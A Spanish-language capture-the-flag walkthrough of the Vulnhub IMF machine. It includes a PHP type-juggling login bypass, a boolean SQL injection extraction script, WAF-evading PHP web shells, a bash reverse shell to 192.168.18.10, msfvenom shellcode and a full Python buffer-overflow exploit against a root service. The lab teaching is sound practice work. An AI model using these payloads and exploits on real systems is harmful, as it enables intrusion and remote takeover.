IMF
Writeup de la máquina IMF de Vulnhub.
Reconocimiento
Una vez importada la máquina en Virtual Box o alternativamente en VMWare usaremos arp-scan para descubrir la Dirección IP de la máquina víctima.
Como curiosidad si intentamos hacerle Ping observaremos que no nos responde, pues cuenta con reglas de Firewall que impiden la traza ICMP.
Nmap
Lo que debemos hacer ahora es un escaneo de puertos con Nmap para descubrir los puertos que se encuentran abiertos en la máquina víctima.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 192.168.18.86 -oG allPorts
Observaremos que solo se encuentra abierto el puerto 80.
Gracias a la utilidad de allPorts definida en nuestra .zshrc podemos copiarnos cómodamente los puertos que nos ha reportado que se encuentran abiertos.
Lo que debemos hacer ahora es realizar un escaneo más exhaustivo, pues intentaremos ver la versión que se encuentra detrás de este servidor HTTP, así también como información relevante.
1
nmap -p80 -sCV 192.168.18.86 -oN targeted
Observamos que no nos reporta nada interesante, tan solo la versión del launchap con la cual podremos saber la versión de la máquina víctima, esto no nos permitirá explotar nada, solo es a modo informativo.
Introduciremos la siguiente cadena en el navegador:
1
Apache httpd 2.4.18 launchpad
Observamos como nos reporta que estamos ante un Ubuntu Focal, pues una vez que entremos a la máquina podremos comprobarlo, volver a decir que esto es solo a modo informativo.
Explotación
Una vez realizada la fase de Reconocimiento pasaremos a analizar el puerto 80 de la máquina, pues se trata de un Servidor Web, en la página /contact.php
podremos ver nombres de usuarios los cuales nos pueden servir para más adelante.
Meteremos en un archivo de texto, dichos nombre de usuarios para tenerlos más a mano.
Si miramos el código fuente del /index.php
con CTRL+U veremos como se están cargando unos recursos JavaScript un tanto extraños.
Gracias a la herramienta de curl, y las demás herramientas de terminal podremos extraer cómodamente esta información codificada en base64 y pasarla a texto plano, para ello usaremos el siguiente comando:
1
curl -s -X GET "http://192.168.18.86/index.php" | grep "\.js" | tail -n3 | grep -oP "\".*\"" | tr -d "\"" | sed 's/js\///g' | awk -F'.' '{print $1}' | xargs | tr -d " " | base64 -d | grep -oP "\{.*\}" | tr -d "{}" | base64 -d; echo
Vemos como nos reporta la cadena imfadministrator
, por lo que podemos pensar que se trata de un nuevo directorio, es decir http://192.168.18.86/imfadministrator
.
Y efectivamente si nos dirigimos a http://192.168.18.86/imfadministrator
vemos como nos reporta lo que parece un panel de login. Lo primero que se nos ocurre que debemos probar es una SQL Injection, una Inyección NoSQL o incluso una Inyección XPath.
Observaremos que con ninguna de estas inyecciones tendremos resultados. A continuación, nos percatamos que si introducimos mal el nombre de usuario nos la reporta.
Pero en el caso de que introduzcamos mal la contraseña y el nombre de usuario bien, será cuando nos reporte que la contraseña está mal.
Observamos el siguiente comentario en el código, el cual nos da a pensar que se trata de un Type Juggling, pues la contraseña se encuentra almacenada directamente en el código, y en el caso de que se este aplicando algún tipo de comparativa vulnerable podremos autenticarnos con tan solo un nombre de usuario válido.
En este caso la comparativa que se esta aplicando es la siguiente, pues esta es vulnerable a un Type Juggling.
Lo que debemos hacer es modificar la información enviada por POST, es decir enviar lo siguiente:
1
user=rmichaels&pass[]=
Observamos como hemos conseguido logearnos como el usuario rmichaels, el cual habíamos encontrado antes en /contact.php
.
Nos encontramos con una cadena en base64 si la decodificamos no encontramos nada interesante.
Nos copiamos la cookie de sesión con la cual hemos conseguido logearnos, y haremos CTRL+C -> Storage
y la pegaremos.
Vemos que las distintas páginas que estamos viendo, están siendo gestionadas a través de un parámetro en la Dirección URL.
Dicho parámetro nos da pensar que es posible realizar un LFI, pero tras un rato probando nos daremos cuenta que por ahí no va el ataque. Ahora. probaremos a poner una comilla y vemos un error de sql, por lo que posiblemente sea vulnerable a una SQL Injection.
Intentaremos diferentes payloads para ver si nos muestra información diferente, pero no tendremos éxito.
1
2
?pagename=home' or 1=1-- -
?pagename=home' and 1=1-- -
En el caso de que podremos algunos de los dos siguientes payloads veremos como nos cambia la información que nos muestra en la página web.
1
2
?pagename=home' or '1'='1
?pagename=home' or 1='1
En el caso de que la condición sea verdadera nos muestra un Under Construcution.
Si la condición es falsa nos muestra un Welcome to the IMF Administration, por lo que tenemos una forma de enumerar la base de datos gracias a una Inyección SQL basada en booleanos.
Gracias al siguiente payload podremos saber si la primera letra del nombre de la base de datos actual es una a, observamos que nos devuelve un Under Construction por lo que la primera letra es una a.
1
home' or substring(database(),1,1)='a
En lugar, si decimos que la primera letra del nombre de la base de datos actual es una b veremos como nos devuelve un Welcome to the IMF Administration, pues la primera letra no es una b si no una a.
1
home' or substring(database(),1,1)='b
Gracias al siguiente script de python podremos sacar toda la información de la base de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
import requests,string
from pwn import *
main_url = "http://192.168.18.86/imfadministrator/cms.php"
headers = {
'PHPSESSID' : "ut7nt4o3il099fuql6ou3sgc97"
}
characters = string.printable
baseactual = "home' or substring(database(),%d,1)='%s"
todaslasbases = "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s"
tablas = "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema = 'admin'),%d,1)='%s"
columnas = "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema = 'admin' and table_name = 'pages'),%d,1)='%s"
filas = "home' or substring((select group_concat(pagename) from pages),%d,1)='%s"
def makeSQLI():
cadena = ""
p1 = log.progress("Inyección SQL")
p1.status("Iniciado Inyección SQL")
p2 = log.progress("Información extraida: ")
for position in range(1,50):
for character in characters:
values = {
'pagename' : f"{filas}" % (position, character)
}
r = requests.get(main_url, params=values, cookies=headers)
if "Under Construction." in r.text:
cadena += character
p2.status(cadena)
break
if __name__ == '__main__':
makeSQLI()
Una vez tenemos la información de la base de datos admin y la tabla pages, veremos como existe un recurso adicional al cual no hemos conseguido accedido, llamado tutorials-incomplete.
Si accedemos a dicho recurso observaremos un código QR sospechoso, por lo que procederemos a decodificarlo.
Usaremos la siguiente web para decodificarlo QR-Decoder y observamos otra flag.
Vemos que la flag parece que nos esta dando una pista sobre un posible recurso que existe en la web.
En el caso de que accedamos con http://192.168.18.86/imfadministrator/uploadr942.php
veremos un sitio para subir archivos.
En primer lugar, lo que haremos será interceptar la petición de subir un cmd.php gracias al BurpSuite y al FoxyProxy y la enviaremos al Repeater con CTRL + R. En primer lugar, lo que debemos probar es a cambiar la extensión del archivo: Validación de extensiones, además de cambiar el Content-Type: Validación Content-Type, por último probaremos a cambiar el Magic Hash: Validación a través de los Magic-Hashes y veremos que aún así nos da error, cambiaremos la extensiones de php, por una válida como es el caso de .jpg, y vemos que nos salta un WAF diciéndonos que no acepta la función system.
En este caso lo que podemos hacer para eludir el WAF, es usar algunos de estos dos cmd.php los cuales nos permiten bypassear la comprobación realizada por el WAF.
1
2
3
<?php
"\x73\x79\x73\x74\x65\x6d"($_GET['cmd']);
?>
1
2
3
4
<?php
$c=$_GET['cmd'];
echo `$c`;
?>
1
<?= `$_GET[0]`; ?>
Observamos que cuando conseguimos bypasear el WAF nuestro archivo se ha subido con un nombre diferente.
Introduciendo dicho nombre en la /imfadministrator/uploads
observamos que efectivamente se ha subido el archivo.
Lo que haremos ahora será cambiar la extensión a .gif para de esta forma subir un gif, accedemos al archivo a través del nombre que nos reporta en el comentario y vemos como no nos interpreta el código php.
Probaremos a pasarle un valor al parámetro cmd y vemos como nos interpreta el código php.
Dicha interpretación es debida a este archivo .htaccess, pues este permite que los archivo .gif sean interpretados como .php.
Lo que debemos hacer ahora es ponernos en escucha con NetCat y mandarnos una Reverse Shell con la siguiente comando:
1
bash -c "bash -i >%26 /dev/tcp/192.168.18.10/443 0>%261"
Observamos que recibimos correctamente la Reverse Shell.
Escalada de privilegios
Ahora pasaremos a la parte de escalar nuestros privilegios para ello, en primer lugar para operar más cómodamente realizaremos un Tratamiento de la TTY. Observamos que en el directorio donde se estaban subiendo los archivos hay un fichero que contiene una flag, y vemos que como contenido tiene agentservices, esto nos esta dando otra pista.
Si realizamos una búsqueda por archivos que se llamen agent nos encontraremos con el siguiente binario:
Si hacemos un netstat -nat
observamos que hay un servicio corriendo por el puerto 7788.
Si nos conectamos a dicho servicio usando NetCat veremos como dicho servicio esta siendo ejecutado por el usuario root.
En el caso de que ejecutamos el archivo veremos que nos pide un Agent ID, pues probemos el que probemos nos dará un error.
Lo que debemos hacer ahora es transferirnos el archivo para aplicar un Binary Analysis gracias Ghidra. Destacar que debemos transferirlo de esta forma Transferir archivos > /dev/tcp, pues con Transferir archivos > Wget no funcionará.
Estando como el usuario root abrimos el Ghidra.
1
ghidra &/dev/null & disown
Ahora debemos crearnos un nuevo Proyecto con File > New Project > Non-Shared Project > Next >>
y le especificaremos la ruta del Proyecto así como el nombre del mismo.
Ahora importaremos el binario agent con File > Import File
.
Dentro del Ghidra debemos arrastrar el binario agent al dragón.
Una vez hecho esto nos saltará una pestaña la cual nos pregunta si queremos realizar un Análisis y le damos a Analysis now. Cuando haya concluido el Análisis lo que debemos hacer es dirigirnos a la función principal desde el Program Tree.
Ahora lo que viene es un análisis del binario, destacar que para estructurar mejor toda la información le podemos dar a la l para cambiar el nombre de las variables y hacer que este sea más identificativo.
Tras un análisis, llegaremos a la conclusión que nuestro user_input se está comparando con la cadena 48093572
, es decir debemos introducir dicha cadena para para que nos muestre el menú,
Efectivamente observamos que al ejecutar dicho binario e introducir la cadena 48093572
nos muestra el menú.
Ahora si analizamos el código de la función menu()
vemos como esta devuelve nuestro user_input2, es decir la opción del menú que hayamos elegido.
Vemos que en función de la opción elegida, llamará a una función o otra.
Analizando función por función nos daremos cuenta que la función report()
cuenta con la función gets()
para almacenar nuestro input, la cual es crítica para realizar dicha función pues es vulnerable a un Buffer OverFlow.
Buffer OverFlow
A continuación probaremos a ver si nos salta en típico error de Buffer OverFlow: segmentation fault
y de esta forma podremos comenzar con el Buffer OverFlow. Y efectivamente observaremos que nos muestra dicho error por lo que posiblemente es vulnerable a un Buffer OverFlow.
Abriremos el binario con gdb.
1
gdb ./agent -q
Tomar control sobre el EIP
Introduciremos lo siguiente para comprobar si podemos sobrescribir el EIP para posteriormente tomar el control de este.
1
2
3
4
r # Correr el programa
48093572 # Introducimos el número secreto
3 # Seleccionamos la opción 3 del menú, la cual es vulnerable a un Buffer OverFlow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # Finalmente introduciremos la cadena para comprobar si estamos sobresribiendo el EIP
Vemos que efectivamente hemos conseguido sobrescribir el EIP por lo que posiblemente sea vulnerable a un Buffer OverFlow.
Offset
Lo que debemos hacer ahora es saber el valor exacto del offset para ello usaremos la siguiente instrucción para generar un payload.
1
pattern create 300
Volveremos a ejecutar el programa y vemos como ahora el EIP vale VAAt
.
Ahora ejecutaremos el siguiente comando para que automáticamente nos reporte el offset de existe antes de llegar al EIP.
1
pattern offset $eip
Vemos que el offset es 168
.
Lo que podemos hacer ahora es generar gracias a python un patrón para comprobar si efectivamente tenemos control sobre el offset.
1
python3 -c 'print("A"*168 + "B"*4)'
Volveremos a correr el programa y vemos que efectivamente tenemos control sobre el EIP, por lo que es vulnerable a un Buffer OverFlow.
A continuación lo que debemos hacer es comprobar las protecciones que tiene en binario para ver por donde encaminar nuestro Buffer OverFlow, para ello ejecutaremos checksec
y vemos que no tiene ningún tipo de protección, por lo que de primeras podremos ejecutar directamente un shellcode en alguna dirección de memoria, ya que NX está disable
.
Ahora comprobaremos que si la máquina tiene el ASLR activado para ello podemos ejecutar lo siguiente, y en el caso de que veamos que las direcciones cambian (como es este caso) es sinónimo de que el ASLR se encuentra activado.
Si miramos el contenido de este archivo también podremos saber si se encuentra activado el ASLR, si vemos un 2 -> activado
y si vemos un 0 -> desactivado
.
1
cat /proc/sys/kernel/randomize_va_space
Observamos un 2 por lo que el ASLR se encuentra activado.
ret2reg
En este caso lo que podemos intentar es un ret2libc, pero antes debemos comprobar si existe alguna manera más sencilla de abusar del Buffer OverFlow, pues el binario no cuenta con ninguna protección. Volveremos a provocar el Buffer OverFlow y veremos como nuestro input se esta almacenando en EAX.
Para comprobar esto lo que podemos hacer es ejecutar x/16wx $eax-4
y vemos como nuestro input se está almacenando ya que \x41
representa a la A en hexadecimal.
opcode
Lo que debemos hacer ahora es buscar algún opcode que nos permita realizar una llamada (call) o un salto (jmp) al EAX, para ello usaremos nasm_shell:
Nos copiaremos el opcode del call eax y los buscamos dentro del binario usando objdump, y vemos la dirección de memoria de dicho call eax
.
Lo que debemos hacer ahora es generar nuestro shellcode, gracias a msfvenom con el siguiente comando:
1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.18.10 LPORT=443 -b '\x00\x0a\x0d' -f c
Es importante que nuestro shellcode no supere el offset de 168, ya que en cuyo caso no nos funcionará el call eax
. Vemos como no supera el offset por lo que en esa parte estaremos tranquilos.
Una vez tenemos toda esta información lo que haremos será construirnos el siguiente exploit en python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3
from struct import pack
import socket
ip_addr = "127.0.0.1"
port = 7788
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.18.10 LPORT=443 -b '\x00\x0a\x0d' -f c
shellcode = (b"\xdd\xc4\xbf\x69\xc6\x56\xf1\xd9\x74\x24\xf4\x58\x31\xc9"
b"\xb1\x12\x31\x78\x17\x03\x78\x17\x83\x81\x3a\xb4\x04\x60"
b"\x18\xce\x04\xd1\xdd\x62\xa1\xd7\x68\x65\x85\xb1\xa7\xe6"
b"\x75\x64\x88\xd8\xb4\x16\xa1\x5f\xbe\x7e\xf2\x08\x52\x74"
b"\x9a\x4a\x53\x89\xe1\xc2\xb2\x39\x73\x85\x65\x6a\xcf\x26"
b"\x0f\x6d\xe2\xa9\x5d\x05\x93\x86\x12\xbd\x03\xf6\xfb\x5f"
b"\xbd\x81\xe7\xcd\x6e\x1b\x06\x41\x9b\xd6\x49")
# objdump -d agent | grep "FF D0" -i
# 8048563: ff d0 call *%eax
eip = pack("<L", 0x08048563) # call eax
offset = 168
payload = shellcode + b"A" * (offset - len(shellcode)) + eip + b"\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_addr, port))
s.recv(1024)
s.send(b"48093572\n")
s.recv(1024)
s.send(b"3\n")
s.recv(1024)
s.send(payload)
s.close()
Al ejecutar el script observaremos como recibimos la Reverse Shell por lo que habremos escalado privilegios gracias a la explotación de un Buffer OverFlow, en el caso de que queramos tener una consola intereactiva debemos aplicar un Tratamiento de la TTY.